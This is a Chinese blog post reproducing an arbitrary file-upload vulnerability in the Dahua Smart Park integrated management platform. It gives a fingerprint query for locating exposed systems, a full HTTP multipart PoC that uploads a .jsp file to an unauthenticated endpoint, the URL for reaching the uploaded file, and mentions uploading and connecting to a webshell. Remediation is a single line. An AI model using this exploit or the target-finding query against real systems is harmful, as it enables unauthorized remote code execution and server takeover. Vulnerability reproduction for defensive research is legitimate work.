Advertisement

大华智慧园区综合管理平台文件上传漏洞复现

阅读量：

0x01 产品简介

“大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

0x02 漏洞概述

大华智慧园区设备开放了文件上传功能，但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤，导致攻击者可以通过构造恶意文件并上传到设备上，然后利用该漏洞获取权限并执行任意命令。

0x03 复现环境

鹰图指纹：web.body="/WPMS/asset/lib/gridster/"
b44afae482f94a39939db522400e5bb3.png

0x04 漏洞复现

PoC

复制代码 
 POST /publishing/publishing/material/file/video HTTP/1.1

    
 Host: your-ip
    
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
    
 Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
    
 Accept-Encoding: gzip, deflate
    
 Connection: close
    
  
    
 --dd8f988919484abab3816881c55272a7
    
 Content-Disposition: form-data; name="Filedata"; filename="a.jsp"
    
  
    
 test
    
 --dd8f988919484abab3816881c55272a7
    
 Content-Disposition: form-data; name="Submit"
    
  
    
 submit
    
 --dd8f988919484abab3816881c55272a7--
05a217eb160745a69224369968dcbb7d.png

验证url

复制代码 
    http://your-ip/publishingImg/VIDEO/返回的文件名.jsp
c8976ff23cc9444fa6530fad5ef2bf45.png

上传马子
5182321cd4cc483397110061a634d594.png 尝试连接
8f34f2f79bf64267973ec495aefd30a7.png

89e05649f1ce43f1b5742592a354a117.png

0x05 修复建议

建议使用相关系统的用户在尽快打补丁的同时，做好访问来源的限制，尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。

全部评论 (0)

还没有任何评论哟~

相关文章推荐

大华智慧园区综合管理平台文件上传漏洞复现

0x01产品简介 “大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台 hasSubsystem文件上传漏洞复现

0x01产品描述： ‌大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。‌该平台旨在协助优化园区资源分配，满足多元化的管理需求，并通过提供智能服务增强使用体验‌ 0x...

【漏洞复现】大华智慧园区综合管理平台前台任意文件上传漏洞

文章目录 前言 声明 一、简介 二、影响范围 三、资产搜索 四、漏洞测试 四、修复建议 前言 大华智慧园区综合管理平台存在前台任意文件上传漏洞，攻击者可通过特定Payload获取服务器敏感信息，进而获...

大华智慧园区综合管理平台 devicePoint_addImgIco 文件上传漏洞

0x01漏洞描述： 大华智慧园区综合管理平台devicePointaddImgIco没有对用户上传的文件进行限制，导致未经身份验证的远程攻击者可上传任意文件，从而远程执行任意命令，获取服务器权限。

【1day】复现大华智慧园区综合管理平台任意文件上传漏洞

注：该文章来自作者日常学习笔记，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与作者无关。 目录 一、漏洞描述 二、影响版本 三、资产测绘 四、漏洞复现 一、漏洞描述 大华智慧园区综合...

【漏洞复现】大华-智慧园区综合管理平台-devicePoint_addImgIco-任意文件上传

目录 免责声明 0x01产品简介 0x02漏洞概述 0x03网络测绘 0x04漏洞复现 0x05Nuclei 免责声明 此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何...

大华智慧园区综合管理平台 bitmap 任意文件上传漏洞复现

0x01产品简介 “大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台 poi 任意文件上传漏洞复现

0x01产品简介 “大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

【1day】复现大华智慧园区综合管理平台存在文件上传漏洞

目录 一、漏洞描述 二、影响版本 三、资产测绘 四、漏洞复现 一、漏洞描述 大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安...

大华智慧园区综合管理平台任意文件上传漏洞

一、漏洞简介 华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。